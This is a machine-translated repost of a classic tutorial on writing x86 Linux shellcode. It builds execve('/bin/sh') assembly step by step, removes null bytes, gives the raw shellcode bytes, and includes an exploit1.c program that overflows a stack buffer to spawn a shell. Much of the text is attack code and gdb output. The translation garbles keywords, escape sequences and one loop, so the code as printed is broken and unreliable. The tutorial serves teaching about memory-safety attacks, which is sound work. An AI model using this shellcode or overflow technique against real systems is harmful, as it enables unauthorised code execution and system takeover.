About Shell Code

xiaoxiao2021-03-06  92

Shell Code

Here is a C program shellcode.c that creates a shell: (herein, in Intelx86, Linux as an example)

Void main () {

Char * name [2];

Name [0] = "/ bin / sh";

Name [1] = NULL;

Execve (Name [0], Name, NULL);

}

Let's compile it to execute code, then use GDB to analyze it. (Pay attention to compile -static options, otherwise the execve code will not put into the execution code, but as a dynamic link to run when it is running .)

-------------------------------------------------- ----------------------------

[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c

[ALEPH1] $ GDB shellcode

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(GDB) Disassemble Main

Dump of assembler code for function main:

0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: Subl $ 0x8,% ESP

0x8000136

: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)

0x800013D

: MOVL $ 0x0, 0xfffffffc (% EBP)

0x8000144

: Pushl $ 0x0

0x8000146

: LEAL 0xFfffffff8 (% EBP),% EAX

0x8000149

: Pushl% EAX

0x800014A

: MOVL 0xfffffff8 (% EBP),% EAX

0x800014D

: Pushl% EAX

0x800014e

: Call 0x80002BC <__ execve>

0x8000153

: AddL $ 0xc,% ESP

0x8000156

: MOVL% EBP,% ESP

0x8000158

: POPL% EBP

0x8000159

: RET

End of assembler dump.

(GDB) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__ execve>: Pushl% EBP

0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP

0x80002BF <__ execve 3>: Pushl% EBX

0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX

0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX

0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX

0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX

0x80002CE <__ execve 18>: int $ 0x800x80002d0 <__ execve 20>: MOVL% EAX,% EDX

0x80002d2 <__ execve 22>: Testl% EDX,% EDX

0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42>

0x80002d6 <__ execve 26>: NEGL% EDX

0x80002d8 <__ execve 28>: Pushl% EDX

0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location>

0x80002de <__ execve 34>: POPL% EDX

0x80002df <__ execve 35>: MOVL% EDX, (% EAX)

0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX

0x80002e6 <__ execve 42>: POPL% EBX

0x80002e7 <__ execve 43>: MOVL% EBP,% ESP

0x80002e9 <__ execve 45>: POPL% EBP

0x80002ea <__ execve 46>: RET

0x80002eb <__ execve 47>: NOP

End of assembler dump.

-------------------------------------------------- ----------------------------

Below let's first analyze the role of each statement in the MAIN code:

0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: Subl $ 0x8,% ESP

This is the same as the previous example, and the inlet processing of a function, saves the previous stack frame pointer, updates the stack frame pointer, and finally leave space for local variables. Here, local variables are:

Char * name [2];

That is, two character pointers. Each character pointer holds 4 bytes, so there is a total of 8 bytes of location.

0x8000136

: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)

Here, the address of the string "/ bin / sh" is placed in the memory cell of Name [0], that is, equivalent to:

Name [0] = "/ bin / sh";

0x800013D

: MOVL $ 0x0, 0xfffffffc (% EBP)

Put NULL in the memory cell of Name [1], that is, equivalent to:

Name [1] = NULL;

The call to execve () begins with below:

0x8000144

: Pushl $ 0x0

Start pressing the parameters into the stack in reverse, the first is NULL.

0x8000146

: LEAL 0xFfffffff8 (% EBP),% EAX

0x8000149

: Pushl% EAX

Press the start address of Name [] into the stack

0x800014A

: MOVL 0xfffffff8 (% EBP),% EAX

0x800014D

: Pushl% EAX

Press the address of the string "/ bin / sh" into the stack

0x800014e

: Call 0x80002BC <__ execve>

Calling execve (). Call instruction first presses the EIP into the stack

-------------------------------------------------- --------------------------------- Now let's take another example of execve () code. First of all, pay attention to Different operating systems, different CPUs, they produce system calls. Some use soft interrupts, some use remote calls. From the perspective of parameter delivery, some use registers, some use stacks.

Our example is running on the Intel X86-based Linux. So we should first know Linux, system call is generated in a soft interrupt (INT 80H), and the parameters are passed to the system through registers.

0x80002bc <__ execve>: Pushl% EBP

0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP

0x80002BF <__ execve 3>: Pushl% EBX

The same inlet treatment

0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX

Assign 0xB (11) to Eax, which is an indecve () index number in the system.

0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX

Associate the address of the string "/ bin / sh" to EBX

0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX

Assign the address of Name [] to ECX

0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX

Assign NULL's address to EDX

0x80002CE <__ execve 18>: int $ 0x80

Generate system calls to enter core state operation.

-------------------------------------------------- ----------------------------------

I saw the code above, now we can stream it into the following assembly language program:

LEAL STRING, STRING_ADDR

Movl $ 0x0, NULL_ADDR

MOVL $ 0XB,% EAX

MOVL STRING_ADDR,% EBX

LEAL STRING_ADDR,% ECX

LEAL NULL_STRING,% EDX

INT $ 0x80

(I have not much understanding of Linux's assembly language format, so these sentences are used in the format of DOS assembly language)

String DB "/ bin / sh", 0

String_addr DD 0

NULL_ADDR DD 0

-------------------------------------------------- -----------------------------------

However, there is still a problem in this code, that is, we don't know where the program is executed when writing shellcode, so like:

MOVL STRING_ADDR,% EBX

This requires an instruction to encode absolute address into the machine language.

One way to solve this problem is to use an additional JMP and Call instructions. Because these two instruction codes are used with respect to the IP offset address rather than absolute addresses, we can join a JMP instruction at the beginning of Shellcode. Before String, add a CALL instruction. As long as we calculate the byte length of the program encoded, you can make the JMP instruction to the CALL instruction, and the CALL instruction points to the next command of JMP, because when the CALL is executed The CPU will return the address (here is the String address) into the stack, so we can get String absolute addresses when running. With this address plus offset indirect addressing method, we can also be conveniently Access string_addr and NULL_ADDR.

-------------------------------------------------- ---------------------------- After the above modification, our shellcode turned into the following:

JMP 0x20

POPL ESI

MOVB $ 0x0,0x7 (% ESI)

MOVL% ESI, 0x8 (% ESI)

MOVL $ 0x0,0xc (% ESI)

MOVL $ 0XB,% EAX

MOVL% ESI,% EBX

LEAL 0x8 (% ESI),% ECX

LEAL 0xC (% ESI),% EDX

INT $ 0x80

Call -0x25

String DB "/ bin / sh", 0

String_addr DD 0

NULL_ADDR DD 0 # 2 Bytes, jump to CALL

# 1 byte, pop up the String address

# 4 Bytes, turn string to string ending with '' ''

# 7 bytes

# 5 bytes

# 2 bytes

# 3 bytes

# 3 bytes

# 2 bytes

# 5 bytes, jump to POPL% ESI

-------------------------------------------------- ----------------------------------

We know that the string in the C language is in '' 'end, and Strcpy is the end run. Therefore, in order to ensure that our shellcode can be completely copied into the buffer, you must not contain' '. Let's For its last improvement, remove '':

Original directive: replacement is:

-------------------------------------------------- --------

MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX

MOVL $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xc (% ESI)

-------------------------------------------------- --------

MOVL $ 0XB,% EAX MOVB $ 0XB,% Al

-------------------------------------------------- --------

OK! Now we can test this SHELLCODE. First we package it into the form of C language.

-------------------------------------------------- ----------------------------

Void main () {

__ASM __ ("

JMP 0x18 # 2 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

XORL% EAX,% EAX # 2 bytes

MOVB% EAX, 0x7 (% ESI) # 3 bytes

MOVL% EAX, 0xc (% esi) # 3 bytes

MovB $ 0XB,% Al # 2 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Call -0x2d # 5 bytes

.string "/ bin / sh" # 8 bytes

");

}

-------------------------------------------------- -------------------------- After compiling, the machine code for this assembly language with GDB is:

Xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b

X89XF3X8DX4EX08X8DX56X0CXCDX80XE8XECxFFFFXFF / BIN / SH

Now we can write our test procedures:

-------------------------------------------------- ----------------------------

Exploit1.c:

Char shellcode [] =

"XEBX18X5EX89X76X08X31XC0X88X46X07X89X46X0CXB0X0B"

"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff / bin / sh";

Char large_string [128];

void main ()

{

Char buffer [96];

INT I;

Long * long_ptr = (long *) Large_String;

For (i = 0; i <32; i ) * (long_ptr i) = (int) buffer;

For (i = 0; i

STRCPY (Buffer, Large_String);

}

-------------------------------------------------- -----------------------------------

In the above program, we first populate LARGE_STRING [] with buffer, and place shellcode in the start position of large_string [], to ensure that the address is overwriting to buffer when Bufferoverflow (the entrance address of the shellcode) is guaranteed when BufferFlow ). Then use strcpy to copy the contents of Large_String into Buffer because Buffer only has 96 bytes of space, so buffer overflow will occur. The return address is overwritten to the entrance address of the shellcode. When the program executes the end of the main function When it automatically jumps to our shellcode, create a new shell.

Now we compile this program:

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o exploit1 exploit1.c

[aleph1] $ ./exploit1

$ EXIT

exit

[aleph1] $

-------------------------------------------------- ----------------------------

OK! You can see that when you perform Test, our shellcode executed correctly and generated a new shell, which is the result we want to see.

However, this example is just a test, let's take a look at how to make our shellcode play in the actual environment.

转载请注明原文地址:https://www.9cbs.com/read-122290.html

New Post(0)